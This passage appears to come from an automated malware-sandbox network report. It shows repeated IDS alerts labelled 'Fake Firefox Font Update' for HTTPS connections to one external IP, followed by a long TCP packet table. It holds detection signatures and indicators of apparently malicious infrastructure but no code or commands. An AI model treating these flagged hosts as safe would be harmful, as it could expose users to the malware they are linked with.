2025-01-09T14:40:51.587697+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	172.67.174.91	443	TCP
2025-01-09T14:40:52.781373+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	172.67.174.91	443	TCP
2025-01-09T14:40:53.657224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	172.67.174.91	443	TCP
2025-01-09T14:41:11.972479+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	172.67.174.91	443	TCP
2025-01-09T14:41:14.073334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	172.67.174.91	443	TCP
2025-01-09T14:41:30.446430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49994	172.67.174.91	443	TCP
2025-01-09T14:41:31.848159+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50002	172.67.174.91	443	TCP
2025-01-09T14:41:32.715398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50008	172.67.174.91	443	TCP
2025-01-09T14:41:33.518705+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50012	172.67.174.91	443	TCP
2025-01-09T14:41:34.735492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50022	172.67.174.91	443	TCP
2025-01-09T14:41:37.126827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50031	172.67.174.91	443	TCP
2025-01-09T14:41:38.392877+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50042	172.67.174.91	443	TCP
2025-01-09T14:41:43.748534+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50078	172.67.174.91	443	TCP
2025-01-09T14:41:45.891045+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50086	172.67.174.91	443	TCP
2025-01-09T14:41:46.727342+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50093	172.67.174.91	443	TCP
2025-01-09T14:41:47.697622+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50100	172.67.174.91	443	TCP
2025-01-09T14:41:48.722574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50107	172.67.174.91	443	TCP
2025-01-09T14:41:50.292999+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50118	172.67.174.91	443	TCP
2025-01-09T14:41:51.469578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50122	172.67.174.91	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 14:40:03.350243092 CET	49675	443	192.168.2.4	173.222.162.32
Jan 9, 2025 14:40:21.146491051 CET	80	49724	2.22.50.144	192.168.2.4
Jan 9, 2025 14:40:21.146596909 CET	49724	80	192.168.2.4	2.22.50.144
Jan 9, 2025 14:40:21.167884111 CET	49724	80	192.168.2.4	2.22.50.144
Jan 9, 2025 14:40:21.172935963 CET	80	49724	2.22.50.144	192.168.2.4
Jan 9, 2025 14:40:51.116962910 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.117063999 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:51.117182016 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.117954969 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.117991924 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:51.587450981 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:51.587697029 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.592175007 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.592206001 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:51.592566967 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:51.636233091 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.636233091 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:51.636364937 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029083014 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029130936 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029165030 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029195070 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029222012 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029246092 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029273033 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029303074 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029309034 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.029309034 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.029309034 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.029381037 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029439926 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029445887 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.029465914 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029496908 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.029514074 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.029572010 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.112916946 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.115912914 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.115943909 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.115982056 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.116045952 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.116099119 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.116241932 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.116317987 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.116349936 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.116369009 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.116383076 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.116441965 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.116453886 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117067099 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117124081 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117125988 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.117139101 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117189884 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117191076 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.117202044 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.117254972 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.117266893 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118053913 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118092060 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118103027 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.118115902 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118155003 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118161917 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.118174076 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.118230104 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.118952990 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.162926912 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.162990093 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203563929 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203592062 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203640938 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.203658104 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203670979 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203713894 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.203794956 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203826904 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203844070 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.203871012 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.203927040 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.203957081 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204011917 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.204308033 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204365969 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.204418898 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204473019 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.204725981 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204782963 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.204796076 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204823017 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.204853058 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.204880953 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.235440016 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.235440969 CET	49739	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.235507011 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.235541105 CET	443	49739	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.313981056 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.314018011 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.314071894 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.314605951 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.314620972 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.781260967 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.781373024 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.782598972 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.782613039 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.783075094 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:52.783924103 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.783946037 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:52.784017086 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.106056929 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.106158972 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.106225014 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.106489897 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.106517076 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.106532097 CET	49740	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.106539011 CET	443	49740	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.179533005 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.179594040 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.179686069 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.180085897 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.180126905 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.657141924 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.657223940 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.658385038 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.658401966 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.658615112 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.659281015 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.659303904 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.659312010 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.984211922 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.984256029 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.984338045 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.984450102 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.984473944 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:40:53.984515905 CET	49741	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:40:53.984541893 CET	443	49741	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:02.210920095 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:02.210947037 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:02.211024046 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:02.211180925 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:02.211189032 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:02.972253084 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128026962 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.128046989 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128760099 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128772974 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128817081 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.128844023 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128885984 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.128901958 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.128932953 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.129507065 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.132292986 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.132416964 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.133030891 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.133038998 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.181474924 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.317013979 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.317053080 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.317115068 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.317164898 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.320137978 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.320216894 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.320250034 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.326328039 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.326400995 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.326421022 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.332745075 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.332844973 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.332864046 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.338835001 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.338895082 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.338917971 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.345208883 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.345297098 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.345314980 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.351509094 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.352361917 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.352380991 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.357765913 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.363394976 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.363416910 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.408515930 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.408550024 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.408576012 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.408574104 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.408616066 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.408673048 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.412739038 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.412806034 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.412823915 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.416739941 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:03.416769981 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:03.416954041 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:03.417929888 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:03.417948008 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:03.419111967 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.419172049 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.419193029 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445208073 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445241928 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445275068 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445314884 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.445349932 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445378065 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.445514917 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445549011 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445574045 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.445574999 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445588112 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.445620060 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.450328112 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.450387955 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.450403929 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.456244946 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.456305981 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.456320047 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.461751938 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.461811066 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.461823940 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.467123985 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.467252016 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.467266083 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.472582102 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.472740889 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.472755909 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.477983952 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.478446960 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.478461027 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.483503103 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.483567953 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.483583927 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.488877058 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.488935947 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.488950014 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.500055075 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.500086069 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.500114918 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.500132084 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.500154018 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.500180006 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.502234936 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.503319979 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.503334045 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.505836010 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.505974054 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.505989075 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.509413958 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.509469986 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.509484053 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.513000965 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.513147116 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.513159990 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.516385078 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.516993999 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.517007113 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.519944906 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.520005941 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.520019054 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.541812897 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.541907072 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542021036 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.542025089 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542105913 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542186975 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.542288065 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542336941 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.542355061 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542399883 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.542470932 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.542485952 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.543083906 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.543135881 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.543150902 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.543452024 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.543504000 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.543519020 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.544979095 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.545054913 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.545069933 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.547830105 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.547890902 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.547907114 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.551325083 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.552422047 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.552437067 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.554749012 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.554807901 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.554822922 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.558648109 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.558712959 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.558727026 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.564102888 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.564177990 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.564191103 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.564907074 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.564955950 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.564970016 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.569490910 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.569549084 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.569561958 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.571562052 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.571683884 CET	49758	443	192.168.2.4	172.217.18.97
Jan 9, 2025 14:41:03.571698904 CET	443	49758	172.217.18.97	192.168.2.4
Jan 9, 2025 14:41:03.575062990 CET	443	49758	172.217.18.97	192.168.2.4
